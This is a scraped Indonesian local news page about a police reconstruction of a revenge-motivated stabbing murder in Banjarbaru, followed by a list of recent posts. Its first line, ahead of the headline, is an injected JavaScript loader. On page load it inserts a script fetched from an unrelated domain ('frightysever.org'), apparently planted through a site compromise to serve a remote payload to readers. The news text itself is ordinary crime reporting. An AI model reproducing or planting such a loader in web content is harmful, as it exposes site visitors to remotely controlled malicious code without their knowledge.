(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Tersangka Peragakan 26 Adegan Pembunuhan Bermotif Dendam Asmara


BANJARBARU, Sebanyak 26 reka adegan diperagakan dalam rekonstruksi kasus pembunuhan dengan motif dendam asmara di Jalan Nuri, samping Butik Nurma Collection, Kelurahan Komet, Kecamatan Banjarbaru Utara, Kota Banjarbaru, Jumat (4/5) pukual 09.00 Wita.  Warga pun ramai menonton adegan demi adegan yang diperankan oleh tersangka sendiri, Abdus Salam.

Sejumlah petugas bersenjata pun turut menjaga lokasi, termasuk Polantas yang ikut mengamankan lalu lintas sekitar lokasi untuk menghindari kemacetan.

Tersangka Abdus Salam tampak hadir dalam peragakan 26 adegan. Dari mulai sampai lokasi, menelpon korban sampai adegan menusuk korban. Pada rekontruksi itu tampak jelas jika Abdus salim menusuk beberapa kali korban Siti Mulin Ni’mah.

Kapolres Banjarbaru AKBP Kelana Jaya melalui Kasat Reskrim Polres Banjarbaru AKP Sudarno mengatakan, pembunuhan ini mutlak direncanakan oleh pelaku.

Walau demikian, mimik wajah Abdus Salam saat rekontruksi itu tampak tidak ada rasa menyesal. Ia pasrah bahkan masih sempat-sempatnya tersenyum dan terkekeh.

Abdus Salam diketahui membunuh mantan kekasihnya di Jalan Nuri samping Butik Nurma Collection Kelurahan Komet Kecamatan Banjarbaru Utara Kota Banjarbaru. Sebelumnya kejadian pada Selasa (17/4/) sore, terapis Salon Hafabi, Siti Mulin Nikmah (21) bersimbah darah dengan sejumlah luka tusukan senjata tajam di tubuh.

Untuk mengungkap kasus ini, polisi tak butuh waktu lama. Hanya perlu waktu kurang 1 jam bagi polisi gabungan dari Polres Banjarbaru, Polsek Kota Banjarbaru dan Polres Banjar, untuk membekuk tersangka Abdus Salam (21) di Komplek Permata Bincau Kelurahan Bincau Kecamatan Martapura Kabupaten Banjar.

Niat membunuh sudah muncul satu hari sebelum kejadian. Kapolres Banjarbaru AKBP Kelana Jaya melalui Kasat Reskrim Polres Banjarbaru AKP Sudarno mengatakan untuk pelaku akan dikenakan pasal 340 sub 338 ayat (3) KUHP tentang pembunuhan dengan ancaman maksimal hukuman kurungan penjara 20 tahun.

“Untuk rekontruksi ini, ada 26 adegan. Digelar di lokasi langsung agar jelas tiap adegannya. Pelaku menusuk korban sebanyak enam kali,” ucap Kapolsek Banjarbaru Kota Kompol Purbo Raharjo melalui Kanit Reskrim Polsek Banjarbaru kota Iptu Yuli Tetro. (rico)

Reporter: Rico
Editor: Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

6 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

6 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

6 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

6 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

6 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

6 bulan ago

This website uses cookies.